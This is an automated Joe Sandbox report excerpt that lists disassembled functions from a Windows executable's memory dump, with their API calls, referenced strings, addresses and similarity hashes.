Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: c0d6b882c892744b5f2145cb7f87141ae8e92c4f1ce8ecd8bfe90412f873f1f8
Instruction ID: 2e5163ff028a5f0c2995ef892f7e224d35519c079bc8d2ae69a6881cda2ea76c
Opcode Fuzzy Hash: c0d6b882c892744b5f2145cb7f87141ae8e92c4f1ce8ecd8bfe90412f873f1f8
Instruction Fuzzy Hash: 5D419072844149AACB01EBE1DE86DEFB7B8AF18340F1004A5B505B20A2EF756F49DB61

Function 00B40FCF Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00B41093
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00B410AF
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00B410CB
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00B410F5
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00B4111D
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B41128
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B4112D

Strings

SOFTWARE\Classes\, xrefs: 00B40FFF
\IPC$, xrefs: 00B41075
\CLSID, xrefs: 00B41015

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 76344c96ae1f14d8e9d1d9ee46cf1d86a97b154420bbab452265339e902bdf8e
Instruction ID: 74ae590ae095d9111f6707873a6272f5cc4995e65e8eeff549b0c29621766fd9
Opcode Fuzzy Hash: 76344c96ae1f14d8e9d1d9ee46cf1d86a97b154420bbab452265339e902bdf8e
Instruction Fuzzy Hash: D6410672C10269ABCF11EBA4DD95DEEB7B8FF18750F044569E905B31A0EB319E44CB60

Function 00B74A34 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00B74AD9
CreateCompatibleDC.GDI32(00000000), ref: 00B74AE0
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00B74AF3
SelectObject.GDI32(00000000,00000000), ref: 00B74AFB
GetPixel.GDI32(00000000,00000000,00000000), ref: 00B74B06
DeleteDC.GDI32(00000000), ref: 00B74B10
GetWindowLongW.USER32(?,000000EC), ref: 00B74B1A
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00B74B30
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 00B74B3C

Strings

static, xrefs: 00B74A71

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: c22eaeb68bf02ad10cc2b86e79b83f30118c9c4a0c82305ad8180a53fa741197
Instruction ID: 56aefd7412b46436687b4682891495b0069c92d3111bb3cc8a1da58139399112
Opcode Fuzzy Hash: c22eaeb68bf02ad10cc2b86e79b83f30118c9c4a0c82305ad8180a53fa741197
Instruction Fuzzy Hash: D7315A32140215ABDF129FA4DC08FDA3BB9FF0D365F114251FA29A61A0CB75DC60DBA4

Function 00B6468D Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B646B9
CoInitialize.OLE32(00000000), ref: 00B646E7
CoUninitialize.OLE32 ref: 00B646F1
_wcslen.LIBCMT ref: 00B6478A
GetRunningObjectTable.OLE32(00000000,?), ref: 00B6480E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00B64932
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00B6496B
CoGetObject.OLE32(?,00000000,00B80B64,?), ref: 00B6498A
SetErrorMode.KERNEL32(00000000), ref: 00B6499D
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00B64A21
VariantClear.OLEAUT32(?), ref: 00B64A35

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 1ebd55aef94f3e81000eead2445fb60282c20773a1947127cafe195de1da33d8
Instruction ID: 6cdadc4a4695523821548fb4b31e1e8068472a36b01d51e5482e5593cbdaf433
Opcode Fuzzy Hash: 1ebd55aef94f3e81000eead2445fb60282c20773a1947127cafe195de1da33d8
Instruction Fuzzy Hash: EDC15671608701AFC700DF68C88492BBBE9FF89748F10499DF98A9B260DB34ED45CB52

Function 00B584DB Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00B58538
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00B585D4
SHGetDesktopFolder.SHELL32(?), ref: 00B585E8
CoCreateInstance.OLE32(00B80CD4,00000000,00000001,00BA7E8C,?), ref: 00B58634
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00B586B9
CoTaskMemFree.OLE32(?,?), ref: 00B58711
SHBrowseForFolderW.SHELL32(?), ref: 00B5879C
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00B587BF
CoTaskMemFree.OLE32(00000000), ref: 00B587C6
CoTaskMemFree.OLE32(00000000), ref: 00B5881B
CoUninitialize.OLE32 ref: 00B58821

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 3d86401256621572b27be03157ba912fce60b48c80704f7d44e77cb8df0e80ee
Instruction ID: 977b2fa0a20396c77dfd2c4b6e1aace2aefd7b64bd827945b9449933b2916a9b
Opcode Fuzzy Hash: 3d86401256621572b27be03157ba912fce60b48c80704f7d44e77cb8df0e80ee
Instruction Fuzzy Hash: 18C10C75A00105AFCB14DFA5C888DAEBBF5FF48345B1485D8E81AAB361DB30ED45CB90

Function 00B40378 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00B4039F
SafeArrayAllocData.OLEAUT32(?), ref: 00B403F8
VariantInit.OLEAUT32(?), ref: 00B4040A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00B4042A
VariantCopy.OLEAUT32(?,?), ref: 00B4047D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00B40491
VariantClear.OLEAUT32(?), ref: 00B404A6
SafeArrayDestroyData.OLEAUT32(?), ref: 00B404B3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B404BC
VariantClear.OLEAUT32(?), ref: 00B404CE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B404D9

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: ded3639662cc6c94a02eebfd80db74e87ceffd14f1ad0c6f9aabf4d31ad43abb
Instruction ID: 65bab9d43739812634fddeb0e0678dd12751acea3e4f333fc1dbb3b8d2ce71d2
Opcode Fuzzy Hash: ded3639662cc6c94a02eebfd80db74e87ceffd14f1ad0c6f9aabf4d31ad43abb
Instruction Fuzzy Hash: E6417435A00219DFCF10EFA4D8489AE7BB9FF48354F008465FA19A7361CB34AA45DFA0

Function 00B4A635 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00B4A65D
GetAsyncKeyState.USER32(000000A0), ref: 00B4A6DE
GetKeyState.USER32(000000A0), ref: 00B4A6F9
GetAsyncKeyState.USER32(000000A1), ref: 00B4A713
GetKeyState.USER32(000000A1), ref: 00B4A728
GetAsyncKeyState.USER32(00000011), ref: 00B4A740
GetKeyState.USER32(00000011), ref: 00B4A752
GetAsyncKeyState.USER32(00000012), ref: 00B4A76A
GetKeyState.USER32(00000012), ref: 00B4A77C
GetAsyncKeyState.USER32(0000005B), ref: 00B4A794
GetKeyState.USER32(0000005B), ref: 00B4A7A6

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: c251dc2af1707c20b1a8b5793f057a69d0c0593f4f8e4b56d44d80c325c03286
Instruction ID: 8e3daf77185ab7e34c2874beac0e965cfee62f1f303b995594c7613a03884c62
Opcode Fuzzy Hash: c251dc2af1707c20b1a8b5793f057a69d0c0593f4f8e4b56d44d80c325c03286
Instruction Fuzzy Hash: 554194645847C96AFF31966488443A5BEF0EF21348F0880D9D5C65B5C2EBA49FC8D7A3

Function 00B69730 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00B69750

Part of subcall function 00B49805: _wcslen.LIBCMT ref: 00B49828

_wcslen.LIBCMT ref: 00B697AB
_wcslen.LIBCMT ref: 00B697F9
_wcslen.LIBCMT ref: 00B69839
_wcslen.LIBCMT ref: 00B698CB

Strings

cdecl, xrefs: 00B697A5, 00B697AA
winapi, xrefs: 00B697F3, 00B697F8
none, xrefs: 00B698C2, 00B698C7
stdcall, xrefs: 00B69833, 00B69838

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 778e1fcec4f52e7c3f65a3ffb431906996fee0b7b5cfbe5d4d6ec3021707ac68
Instruction ID: 136b6ae470b5da2e3683caef34b147b1a1e4ad096ee440e0899ae48f3210861f
Opcode Fuzzy Hash: 778e1fcec4f52e7c3f65a3ffb431906996fee0b7b5cfbe5d4d6ec3021707ac68
Instruction Fuzzy Hash: 5951C332A041169BCF14DF6CC9909BEB7E9FF65360B2042A9E826E72C4DB39DD41C790

Function 00B64189 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00B641D1
CoUninitialize.OLE32 ref: 00B641DC
CoCreateInstance.OLE32(?,00000000,00000017,00B80B44,?), ref: 00B64236
IIDFromString.OLE32(?,?), ref: 00B642A9
VariantInit.OLEAUT32(?), ref: 00B64341
VariantClear.OLEAUT32(?), ref: 00B64393

Strings

Invalid parameter, xrefs: 00B642C2
Failed to create object, xrefs: 00B64241, 00B642F7
NULL Pointer assignment, xrefs: 00B6427B

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: afcbc12211b1c620d9a85a8e740f6c4fe418c58c2d11cffd561fa7a304fbb1fc
Instruction ID: 9d443b408b7ec7ae64c0319e3560252280c5ce4cc15e02a387b1215c7ead4752
Opcode Fuzzy Hash: afcbc12211b1c620d9a85a8e740f6c4fe418c58c2d11cffd561fa7a304fbb1fc
Instruction Fuzzy Hash: 5061B171608B01DFC310DF64D888F6ABBE4EF49714F104999F9859B2A1DB74ED48CB92

Function 00B58BDA Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00B58C9C
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B58CAC
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00B58CB8
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B58D55
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58D69
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58D9B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00B58DD1
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58DDA

Strings

*.*, xrefs: 00B58DE0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 970dfe9a7a68487d46eb23011b73f050db596a172fe37e933946084277657971
Instruction ID: 4395fa2a843f0d7b50e527009e4e14599eef5cd7c54d67f03841dfd1efd50fc5
Opcode Fuzzy Hash: 970dfe9a7a68487d46eb23011b73f050db596a172fe37e933946084277657971
Instruction Fuzzy Hash: F4615B725043459FCB10EF60C844AAEB7F8FF99310F0449ADF99997291DB31EA49CB92

Function 00B746E2 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00B74715
SetMenu.USER32(?,00000000), ref: 00B74724
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B747AC
IsMenu.USER32(?), ref: 00B747C0
CreatePopupMenu.USER32 ref: 00B747CA
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00B747F7
DrawMenuBar.USER32 ref: 00B747FF

Strings

F, xrefs: 00B747EA
0, xrefs: 00B746F0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: d1a3941b0a7895da02a53e29ef0529ec3440536b0b4c7c1998936ddcc2d24f9f
Instruction ID: 1c621edf5eb89b7e60ff57f7c0a9cbf53f5e1644cfc180eadbdc612553456d76
Opcode Fuzzy Hash: d1a3941b0a7895da02a53e29ef0529ec3440536b0b4c7c1998936ddcc2d24f9f
Instruction Fuzzy Hash: 03419A74A01209EFDB14CF64D884EAA7BF5FF09315F148068FA59A7360CB70AD10CB50

Function 00B4282C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B445FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B44620

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00B428B1
GetDlgCtrlID.USER32 ref: 00B428BC
GetParent.USER32 ref: 00B428D8
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B428DB
GetDlgCtrlID.USER32(?), ref: 00B428E4
GetParent.USER32(?), ref: 00B428F8
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B428FB

Strings

ComboBox, xrefs: 00B42839
ListBox, xrefs: 00B4286E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 79ea2331d99b201785ce1e2e1ca6b8e8403c540010e2d1d4041fc46906007a3b
Instruction ID: 350668416f201c599885f19ffac48aad9666731f11cb584b1aec7ee8dc5e5dbb
Opcode Fuzzy Hash: 79ea2331d99b201785ce1e2e1ca6b8e8403c540010e2d1d4041fc46906007a3b
Instruction Fuzzy Hash: 0821F974D00118BFCF05AFA4CC85EEEBBB4EF05350F400196F961A72A1DB754958EB60

Function 00B4290D Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B445FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B44620

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 00B42990
GetDlgCtrlID.USER32 ref: 00B4299B
GetParent.USER32 ref: 00B429B7
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B429BA
GetDlgCtrlID.USER32(?), ref: 00B429C3
GetParent.USER32(?), ref: 00B429D7
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B429DA

Strings

ComboBox, xrefs: 00B4291A
ListBox, xrefs: 00B4294F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: eb74f40978c6bd2948f43a04da87f5120410b403418dcbe3690925cfe8785441
Instruction ID: fb5dbf8e94bc0e0a0674a1eadbcc4a41821e601a4b429c11b9e14e5903f50b21
Opcode Fuzzy Hash: eb74f40978c6bd2948f43a04da87f5120410b403418dcbe3690925cfe8785441
Instruction Fuzzy Hash: A821F375E00218BBCF05AFA4CC86EEEBBB8EF05340F404096B951A71A1DB758958EB60

Function 00B744BF Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00B74539
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00B7453C
GetWindowLongW.USER32(?,000000F0), ref: 00B74563
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B74586
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00B745FE
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00B74648
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00B74663
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00B7467E
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00B74692
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00B746AF

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 501355cb2d39eef5a8872a352bb54129503a882b23c585a8daba43976bcb9c43
Instruction ID: 40ff1e0456b1923614227d17bcb6def7d7f6bfa19ea30187bde7a2646457f983
Opcode Fuzzy Hash: 501355cb2d39eef5a8872a352bb54129503a882b23c585a8daba43976bcb9c43
Instruction Fuzzy Hash: 33616B75A00208AFDB11DFA8CC85EEE77F8EF09710F1041A9FA19E72A1D7B4A945DB50

Function 00B4BAF6 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00B4BB18
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00B4ABA8,?,00000001), ref: 00B4BB2C
GetWindowThreadProcessId.USER32(00000000), ref: 00B4BB33
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B4ABA8,?,00000001), ref: 00B4BB42
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B4BB54
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00B4ABA8,?,00000001), ref: 00B4BB6D
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B4ABA8,?,00000001), ref: 00B4BB7F
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00B4ABA8,?,00000001), ref: 00B4BBC4
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00B4ABA8,?,00000001), ref: 00B4BBD9
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00B4ABA8,?,00000001), ref: 00B4BBE4

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
